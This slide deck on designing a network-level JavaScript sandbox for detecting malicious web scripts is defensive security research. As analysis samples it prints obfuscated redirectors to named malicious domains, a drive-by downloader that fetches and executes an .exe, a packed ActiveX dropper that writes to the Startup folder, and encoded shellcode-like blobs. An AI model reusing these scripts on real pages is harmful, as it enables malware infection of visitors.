High Speed JavaScript Sandbox

Rajesh Mony

Malicious JavaScript - Introduction

- Easily embedded in a web page and runs automatically without warning in most browser configurations.
- Capable of exploiting browser vulnerabilities and vulnerabilities in components invoked through browser. Can download a malware.
- End users don’t patch. Use old unsupported software.
- Web Application security holes makes it easy to plant bad scripts in good sites.
- Malicious JavaScript plays a part in most infections through web.
- Signature based detection cant keep up.
- Most malicious scripts seen in wild are custom obfuscated, Polymorphic etc.

Malicious JavaScript - Redirectors

- Typically a small piece of script that redirects to a site that hosts the exploit. Often injected at the end of good pages.
- Sometimes injected to a JavaScript library.
- Dynamically write hidden IFRAMES, remote scripts, set window.location to a malicious URL etc.
- In many case use obfuscation techniques to avoid detection.
- Many legitimate sites like ad-providers use redirectors extensively.
- Detection mechanisms – fingerprint of scripts or presence of known bad urls.
- Heuristic detection - Scripts at end of the page writing dynamic iframes / scripts pointing to uncategorized / unreputed sites in suspicious country domains.....

Malicious JavaScript - Redirectors

- Example - <script language=javascript>window.location=encodeURI("http://so.use-sexx.cn/in.cgi?9&tsk=id820-19apr09-r35&type=l&seoref="+encodeURIComponent(document.referrer)+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=XXX"); </script>
- Sets location to http://so.use-sexx.cn/in.cgi?9&tsk=id820-19apr09-r35&type=l&seoref=&parameter= $keyword&se= $se&ur=1&HTTP_REFERER=&default_keyword=XXX

Malicious JavaScript - Redirectors

- Example - <script>function v482177fd5f57f(v482177fd644f8){ function v482177fd68fd6 () {return 16;} return(parseInt(v482177fd644f8,v482177fd68fd6()));}function v482177fd72c19(v482177fd77be4){ var v482177fd7c850='';for(v482177fd8168b=0; v482177fd8168b<v482177fd77be4.length; v482177fd8168b+=2){ v482177fd7c850+=(String.fromCharCode(v482177fd5f57f(v482177fd77be4.substr(v482177fd8168b, 2))));}return v482177fd7c850;} document.write(v482177fd72c19('3C696672616D65206E616D653D27366566653865663272073726 33D27687474703A2F2F61726368696D656433332E72752F61646D696E2F7061636B2F696E6465782E706870272077696474683D323320686569676874 3D323131207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script>
- Writes this - <iframe name='6efe8ef3' src='http://archimed33.ru/admin/pack/index.php' width=23 height=211 style='display:none'></iframe>

Malicious Scripts – Exploits

- Exploit scripts target one or more known vulnerabilities.
- There are several exploit kits available for purchase that can target a wide variety of browser versions / plugin environments.
- Pdf, IE, Firefox, Java, Office vulnerabilities common targets.
- Normally obfuscated.
- Significant anti-analysis techniques can be found.
- DOM element access, use of served URL / HTTP Headers, event handlers etc used to differentiate non browser environments.
- Script Splitting between multiple files increasingly seen.
- Detection methods – Fingerprint script elements and cross check with signatures, exploit / exploit address / shellcode presence, combination of objects accessed....

Malicious Scripts - Exploits

- **Example** - function XRnYMSkSaW1(){
- var HPrXVaUpWp3 = document.createElement('o'+'b'+unescape('%6A')+unescape('%65')+'c'+unescape('%74'));
- HPrXVaUpWp3.setAttribute("id",'H'+unescape('%50')+'r'+'X'+unescape('%56')+'a'+'U'+'p'+'W'+'p'+unescape('%33'));
HPrXVaUpWp3.setAttribute(unescape('%63')+'l'+'a'+unescape('%73')+unescape('%73')+unescape('%69')+unescape('%64'),'c'+unescape('%6C')+unescape('%73')+unescape('%69')+'d'+unescape('%3A')+'B'+unescape('%44')+'9'+unescape('%36')+'C'+'5'+unescape('%35')+'6'+unescape('%2D')+'6'+'5'+'A'+'3'+unescape('%2D')+'1'+unescape('%31')+'D'+'0'+'-'+unescape('%39')+'8'+'3'+'A'+'-'+'0'+unescape('%30')+'C'+unescape('%30')+'4'+unescape('%46')+'C'+unescape('%32')+'9'+unescape('%45')+unescape('%33')+unescape('%36'));
- var StGGRTYCly4 = HPrXVaUpWp3.CreateObject('a'+unescape('%64')+unescape('%6F')+unescape('%64')+'b'+'.'+unescape('%73')+'t'+'r'+unescape('%65')+unescape('%61')+unescape('%6D'),'');
- var YKYuFGzybX5 = HPrXVaUpWp3.CreateObject(unescape('%53')+'h'+'e'+unescape('%6C')+unescape('%6C')+unescape('%2E')+unescape('%41')+unescape('%70')+'p'+'l'+'i'+'c'+unescape('%61')+'t'+'i'+unescape('%6F')+unescape('%6E'),''); var einWFJxazT6 = HPrXVaUpWp3.CreateObject('m'+'s'+'x'+'m'+'l'+'2'+'.'+'X'+'M'+unescape('%4C')+'H'+'T'+unescape('%54')+unescape('%50'),''); var PRNWYfpwib7; PRNWYfpwib7=document.getElementById("YZVuhEtVYg2").innerText;
- einWFJxazT6.open('G'+unescape('%45')+unescape('%54'),PRNWYfpwib7,false);
- einWFJxazT6.send(); StGGRTYCly4.type = 1; StGGRTYCly4.open(); StGGRTYCly4.Write(einWFJxazT6.responseBody); vGmTBrZApB8 = "c:\\YUkLrpVoQU9.exe"; StGGRTYCly4.SaveToFile(vGmTBrZApB8,2); eval('Y'+'K'+'Y'+unescape('%75')+'F'+'G'+unescape('%7A')+'y'+'b'+'X'+'5'+unescape('%2E')+'S'+'h'+'e'+unescape('%6C')+'l'+unescape('%45')+unescape('%78')+unescape('%65')+'c'+'u'+'t'+'e'+'('+'v'+unescape('%47')+unescape('%6D')+unescape('%54')+unescape('%42')+'r'+'Z'+unescape('%41')+unescape('%70')+'B'+'8'+')'+unescape('%3B')); } XRnYMSkSaW1();

JavaScript Sandbox – Overview

- Inspects page contents in real time at network level.
- Very low performance impact on most good pages.
- Extract scripts out of a page.
- Parse scripts and normalize.
- Apply signatures, white list
- Analyze script structure and shortlist for execution.
- Execute script in sandbox as close to browser as possible.
- Collect data from inspection points.
- Apply signatures and heuristics on collected data.
- Add Detections to a signature development queue.
- Feed timed out / suspect urls to an offline crawler

Extract Scripts From HTML

- Extracting scripts from pages require more than getting the code in all script tags within the html .
- Many malicious scripts hide part of the code in non obvious places in the page HTML.
- Parameter to an event handler, hidden element, outside the html boundaries etc.
- IE6 allows a lot of script trigger points.
- Good reference http://ha.ckers.org/xss.html

Large Function Parameter

- **Example**：<body onload="JavaScript: return tryMe(
‘\x36\x4a\x5d\x4e\x1c\x51\x51\x1c\x01\x1c\x52\x59\x4b\x1c\x7d\x4e\x4e\x5d\x45\x14\x15\x0
7\x36\x4a\x5d\x4e\x1c\x51\x59\x51\x63\x5a\x50\x5d\x5b\x1c\x01\x1c\x0c\x07\x36\x36\x5a\x
49\x52\x5f\x48\x55\x53\x52\x1c\x54\x14\x15\x1c\x47\x51\x51\x01\x51\x51\x07\x1c\x4f\x59\x
48\x68\x55\x51\x59\x53\x49\x48\x14\x1e\x54\x14\x15\x1e\x10\x1c\x0e\x0c\x0c\x0c\x15\x07\
x41\x36\x36\x5a\x49\x52\x5f\x48\x55\x53\x52\x1c\x5b\x59\x48\x5e\x14\x5e\x10\x1c\x5e\x6f\
x55\x46\x59\x15\x36\x47\x4b\x54\x55\x50\x59\x1c\x14\x5e\x12\x50\x59\x52\x5b\x48\x54\x1
6\x0e\x00\x5e\x6f\x55\x46\x59\x15\x47\x5e\x1c\x17\x01\x1c\x5e\x07\x41\x36\x5e\x1c\x01\x
1c\x5e\x12\x4f\x49\x5e\x4f\x48\x4e\x55\x52\x5b\x14\x0c\x10\x5e\x6f\x55\x46\x59\x13\x0e\x
15\x07\x4e\x59\x48\x49\x4e\x52\x1c\x5e\x07\x41\x36\x36\x5a\x49\x52\x5f\x48\x55\x53\x52\
x1c\x5f\x5a\x14\x15\x36\x47\x4a\x5d\x4e\x1c\x46\x5f\x1c\x01\x1c\x0c\x44\x0c\x5f\x0c\x5f\x
0c\x5f\x0c\x5f\x07\x36\x4a\x5d\x4e\x1c\x5d\x1c\x01\x1c\x49\x52\x59\x4f\x5f\x5d\x4c\x59\x1
4\x1e\x19\x49\x08\x0f\x08\x0f\x19\x49\x08\x0f\x08\x0f\x19\x49\x0c\x5a\x59\x5e\x19\x49\x0f
\x0f\x09\x5e\x19\x49\x0a\x0a\x5f\x05\x19\x49\x04\x0c\x5e\x05\x19\x49\x04\x0c\x0c\x0d\x19
\x49\x59\x5a\x0f\x0f\x1e\x1c\x17\x36\x1e\x19\x49\x59\x0e\x08\x0f\x19\x49\x59\x5e\x5a\x5d
\x19\x49\x59\x04\x0c\x09\x19\x49\x5a\x5a\x59\x5f\x19\x49\x5a\x5a\x5a\x5a\x19\x49\x04\x5
e\x0b\x5a\x19\x49\x58\x5a\x08\x59\x19\x49\x59\x5a\x59\x5a\x19\x49\x0a\x08\x59\x5a\x19\x
49\x59\x0f\x5d\x5a\x19\x49\x05\x5a\x0a\x08\x19\x49\x08\x0e\x5a\x0f\x19\x49\x05\x5a\x0a\
x08\x19\x49\x0a\x59\x59\x0b\x19\x49\x59\x5a\x0c\x0f’);”>

Scripts Outside HTML Tag

Example : <SCRIPT>window.onerror=function(){return true;}</SCRIPT>

```
<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
</html>
<script language='javascript'>
    eval(function(p,a,c,k,e,d){e=function(c){return
    c.toString(36)};if(!''.replace(/^/,String)){while(c--
    ){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return
    d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new
    RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 2=\'d://a.c.9.8/5.3\';1 4=\'6:/7 b o/l e/n
    k/j/f/g.3\';0.h=2;0.i=4;0.m();',25,25,'obj|var|buf1|exe|buf2|x|C|Documents|154|57|125|and|6
    8|http|Users|Startup|Thunder|SnapshotPath|CompressedPath|Programs|Menu|All|PrintSnapshot
    |Start|Settings'.split('|'),0,{}))
</script>
```

Hidden Elements

\x36\x4a\x5d\x4e\x1c\x51\x51\x1c\x01\x1c\x52\x59\x4b\x1c\x7d\x4e\x4e\x5d\x45\x14\x15\x07\x36\x4a\x5d\x4e\x1c\x51\x59\x51\x63\x5a\x50\x5d\x5b\x1c\x01\x1c\x0c\x07\x36\x36\x5a\x49\x52\x5f\x48\x55\x53\x52\x1c\x54\x14\x15\x1c\x47\x51\x51\x01\x51\x51\x07\x1c\x4f\x59\x48\x68\x55\x51\x59\x53\x49\x48\x14\x1e\x54\x14\x15\x1e\x10\x1c\x0e\x0c\x0c\x0c\x15\x07\x41\x36\x36\x5a\x49\x52\x5f\x48\x55\x53\x52\x1c\x5b\x59\x48\x5e\x14\x5e\x10\x1c\x5e\x6f\x55\x46\x59\x15\x36\x47\x4b\x54\x55\x50\x59\x1c\x14\x5e\x12\x50\x59\x52\x5b\x48\x54\x16\x0e\x00\x5e\x6f\x55\x46\x59\x15\x47\x5e\x1c\x17\x01\x1c\x5e\x07\x41\x36\x5e\x1c\x01\x1c\x5e\x12\x4f\x49\x5e\x4f\x48\x4e\x55\x52\x5b\x14\x0c\x10\x5e\x6f\x55\x46\x59\x13\x0e\x15\x07\x4e\x59\x48\x49\x4e\x52\x1c\x5e\x07\x41\x36\x36\x5a\x49\x52\x5f\x48\x55\x53\x52\x1c\x5f\x5a\x14\x15\x36\x47\x4a\x5d\x4e\x1c\x46\x5f\x1c\x01\x1c\x0c\x44\x0c\x5f\x0c\x5f\x0c\x5f\x0c\x5f\x07\x36\x4a\x5d\x4e\x1c\x5d\x1c\x01\x1c\x49\x52\x59\x4f\x5f\x5d\x4c\x59\x14\x1e\x19\x49\x08\x0f\x08\x0f\x19\x49\x08\x0f\x08\x0f\x19\x49\x0c\x5a\x59\x5e\x19\x49\x0f\x0f\x09\x5e\x19\x49\x0a\x0a\x5f\x05\x19\x49\x04\x0c\x5e\x05\x19\x49\x04\x0c\x0c\x0d\x19\x49\x59\x5a\x0f\x0f\x1e\x1c\x17\x36\x1e\x19\x49\x59\x0e\x08\x0f\x19\x49\x59\x5e\x5a\x5d\x19\x49\x59\x04\x0c\x09\x19\x49\x5a\x5a\x59\x5f\x19\x49\x5a\x5a\x5a\x5a\x19\x49\x04\x5e\x0b\x5a\x19\x49\x58\x5a\x08\x59\x19\x49\x59\x5a\x59\x5a\x19\x49\x0a\x08\x59\x5a\x19\x49\x59\x0f\x5d\x5a\x19\x49\x05\x5a\x0a\x08\x19\x49\x08\x0e\x5a\x0f\x19\x49\x05\x5a\x0a\x08\x19\x49\x0a\x59\x59\x0b\x19\x49\x59\x5a\x0c\x0f

Parsing Extracted Scripts

- Parsing typically a very quick process.
- Simple normalizations at parsing stage and signature matching necessary to limit expensive script execution.
- String Normalization help in cases where the keywords we look to shortlist for execution itself is hidden.
- Using script parsing characteristics can result in more accurate signatures.(eg: no of statements, variable definitions, max string length found etc).

Parse Tree Processing For Signatures

- **Normalized script**

  A normalized buffer of lowercase scripts with all variable names reduced to a normal name (wr1) is created.
- **Hash of Normalized Script**

  Hash is computed for the Script.
- **String Concatinations**

  Reduce String Concatinations to string constant.
  “p"+"arseIn"+"t(do"+"cument."+"getEle"+"ment"+"ById("+"'jq2D"+"p').inne"+"rHTML"+")

  normalizes to

  parseInt(document.getElementById('jq2Dp').innerHTML)

Parse Tree Processing For Signatures

- **Identifying and processing replace/ fromCharCode etc string operation on constants.** Example:
  document['UHUmehUZwUHUmehUZrUHUmehUZiUHUmehUZtUHUmehUZeUHUmehUZ'.replace(/UHUmehUZ/g,'')]

  normalizes to

  document[write]

- **Other Common String Hiding Tricks**
  UrH8GM5w7v=['K','P','e','P','Q','1','9','j','v','d','Y','a','b','7','w','V','J','l','s','z','j'];Lu0MZARnv3=UrH8GM5w7v[2]+UrH8GM5w7v[8]+UrH8GM5w7v[11]+UrH8GM5w7v[17];

  normalizes to

  Lu0MZARnv3 = “eval”;

Short Listing Scripts For Execution

- Executing scripts to collect data/deobfusticate data is a performance challenge.
- Short listing suspicious scripts for execution important. Some of the criteria can be
  - **High density code** – Malicious scripts are typically served in a very compact form with high length to JS separator ratios (>30).
  - **Presence of large string constant** – blob that needs deobfustication, Shellcodes, redirects etc. are typically stored in large encoded strings.
  - **Large encoded data passed in as parameter to function** – Sometimes the encoded data is passed in from a handler like Onload.
  - **Dynamic script writes** – Check for certain types of dynamic scripts written using document.write, createElement family of functions.
  - **Presence of eval** – Eval is a key element for most malicious scripts.
  - **Number of string Manipulations –** replace, fromcharcode, substring etc.

Execution Requirements - DOM

- Simple DOM objects that return some dummy data is no longer sufficient for today's scripts.
- Implementing complete DOM is a large task.
- Understanding how much DOM is really required to run scripts seen in the wild is important.
- Lets look at some of the techniques malicious scripts use.

DOM - HTML Element Access

- **Many malicious scripts seen in the wild has code like this**

```
1)  document.write('<p>3379</p>');
    var bogqi8 = parseInt( document. getElementsByTagName('p')
            [0].innerHTML);
```

- **Supporting this in sandbox**
  - Document object should have access to html source in a form easily manipulated /extract/append elements if necessary.

DOM – Dynamic Script Writes

- **Malicious scripts use createElement etc to create dynamic script blocks and immediately use them**

```
var w=document;
var y=w.createElement('<script>');
y.text = "function auvsk() {.....}";
w.body.appendChild(y)
auvsk();
```

- **Supporting this in sandbox**
  - Such dynamic script writes need reevaluation of the script with the new addition.
  - Eliminate simple iframe writes etc from reevaluation.
  - Optimizations here is still research area

DOM - HTTP Header Access

- **Some malicious scripts require fields like last-modified date for successful deobfustication**

  1) bfqrv=document.lastModified.split("/"),
     cjltu=bfqrv[2].split(":"),

  Supporting this in sandbox

  - The DOM classes like document, navigator etc need access to actual http headers from the request.
  - Many network inspection engines may not have full request response context.

DOM – Location Access

- **Many malware scripts access location of the served url as an anti-debugging technique.**

  s3KRUV5X6 = s3KRUV5X6 + location.href;var s4wL1Rf57 = eval; var SLpdE73p3 = s3KRUV5X6.replace(/\W/g, "");SLpdE73p3 = SLpdE73p3.toUpperCase();

- **Supporting this in sandbox**
  - Use actual url being requested in location object property.

DOM - Component Access

- **Malicious scripts check versions of plugin components to identify real victim environment. It could be a positive or negative check.**

```
VulnObject = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
Try {
    Real = new ActiveXObject(VulObject);
}catch(error){ return;}
RealVersion = Real.PlayerProperty("PRODUCTVERSION");
```

- Several third party components are actively exploited in the wild.
- Component objects from Adobe, Real, Yahoo, Apple, Aol, Winzip, baidu, Winamp, CA, NCT Soft, Sun etc are exploited by well known exploit kits.
- Any promising Zero day findings get exploited widely in short notice.

DOM – Components Access

- **Sandbox Support**
- Minimal object implementation of most commonly exploited components.
- Ability to load object and interface definitions and exploit check conditions from data files.
- Use of browser useragent string to decide which objects to support in a given session.

DOM – Sub Objects

- **Malware scripts often use objects through parent/ container objects to throw off detections**

  Usages like Window.location.href , window.document, window.navigator, window.self etc.

- **Supporting this in sandbox**
  - Make sure objects are initialized in correct order and have references to other.

Execution requirements - Timeout

- Executing malware scripts have the risk of encountering runaway scripts and endless loops.
- It is essential to have implemented a low level script evaluation control point where execution can be stopped after timeout irrespective of script structure.

Execution Requirements – Browser Specific

- There are malware sites that send packed code specific for browser types using behavior differences in their JavaScript engine.
- The following script displays 87 in Firefox whereas IE displays 75.

```
<script type="text/JavaScript">
    function testfunc(){var vl =
        arguments.callee.toString().length;alert(vl);}
    testfunc();
</script>
```

Execution Requirements - Summary

- JavaScript engine that can process the parse tree.
- Enough DOM objects – window, document, location, navigator, screen.
- Support read and write of properties.
- Ability to access html parse data from within DOM objects.
- Handle dynamic script writes
- Simulate plugins and check exploit conditions.
- Ability to access http header info from DOM objects.
- Execution timeout.
- Overcome browser js differences.

Execution Data Collection

- **Usual points where data is collected from execution are**
  - Execution Characterestics -

    Function call counts and param lengths: No of calls to document.write/writeln, createObject, createElement, getElementById/Name, substr, fromCharcode,
  - Input to Js functions -

    eval : Input to eval in many cases is a completely unobfuscated script. Typically this will need to be passed back to the input queue for parsing/signature...

    unescape : Input to unescape is very useful for analyzing for shellcodes, common exploit addresses and nop sleds.

Execution Data Collection

- Document writes –

  write, writeln : Heavily used for writing back dynamic script blocks, iframes etc. Any script block found need to be reprocessed. Iframes are used heavily used in redirectors. Iframe characterestics like size, target url reputation, visibility etc are useful for redirector detection.

  Output of script execution : This may contain unobfuscated script, a redirected url etc.

- **Component Access** -

  Number of invocations to vulnerable objects. Suspicious parameter use from vulnerable object stubs.

Execution Data Collection

- Js Runtime variables –

  long strings : Extracting long strings at end of function execution is useful for identifying shellcode.

  Shellcode is dynamically created in many cases with lot of splitting techniques.

  Need to hook variable assignmenets when in this mode and collect data. Very implementation specific.

  Analyze the longest strings.

Heuristics

- **Shellcode** - Long hex or unicode encoded strings are good candidates for this. Lightweight methods like static taint analysis.
- **Activex Usage** – Access to several unrelated vulnerable activex objects. Call to vulnerable functions vs other functions.
- **Recursive Scripts** – Presence of multi level recursive obfuscated scripts.
- **Favorites, clipboard access** – Access to favorites, clipboard without user interaction.

Heuristics

- **Offensive variable names** – Many malicious script authors use variables like kill, exploit etc.
- **Address like variable** – escaped variables resembling memory addresses.
- **File system / Registry access –** Presence of strings that resemble path to system areas.
- **Scripts / IFrames Outside HTML boundary** – Many infected pages have malicious redirects present outside the html boundary.

Tuning

- **Need to process known good / bad scripts through the system regularly to tune.**
- Execution times in each stage
- % scripts getting to execution
- Number of good scripts getting to Execution.
- Number of malicious scripts not passing each stage.
- Execution error strings.

Script Splitting

- Presence of malicious script split between a html page and a remote js script is common.
- **Example :**

<script type='text/JavaScript' src='js/media.js'></script><body> <script language="javascript"> inquisitivemob[leerychristmas](GUTSYMOVE.dinodropaline('02c2dc02bc466015ecdf4186cdf23a33ca10c88f56215a38e10e3c3002c2dc0040d45f3ac8808369c2a82ea01d41cafa2636873dd1eb4223014b79a0f432ce9e43bc067a0c5d99219e940c0faa70a0a541b6228511438dbeeb098....., ,'48618763','62984641'));</script></body>

- This is difficult to handle at the network layer.
- Low TTL script cache / near inline crawling etc are research area.

URL Whitelist / Blacklist

- Some of the detection types like exploit presence may be good candidates for url blacklisting.
- Detections like malicious redirectors are mostly infected good sites and are not suitable for blacklisting.
- Many exploit kits have selective exploit serving behavior based on client location, previous infection, browser version etc. So adding undetected sites to whitelist is risky.

Conclusion

- Building a network level javascript sandbox that is effective is a very challenging task.
- But may be a necessity with signatures struggling to keep up.
- Worthwhile for datacenter based solutions to look into.
- Can be a good source of qualified samples.

Questions

QUESTIONS ?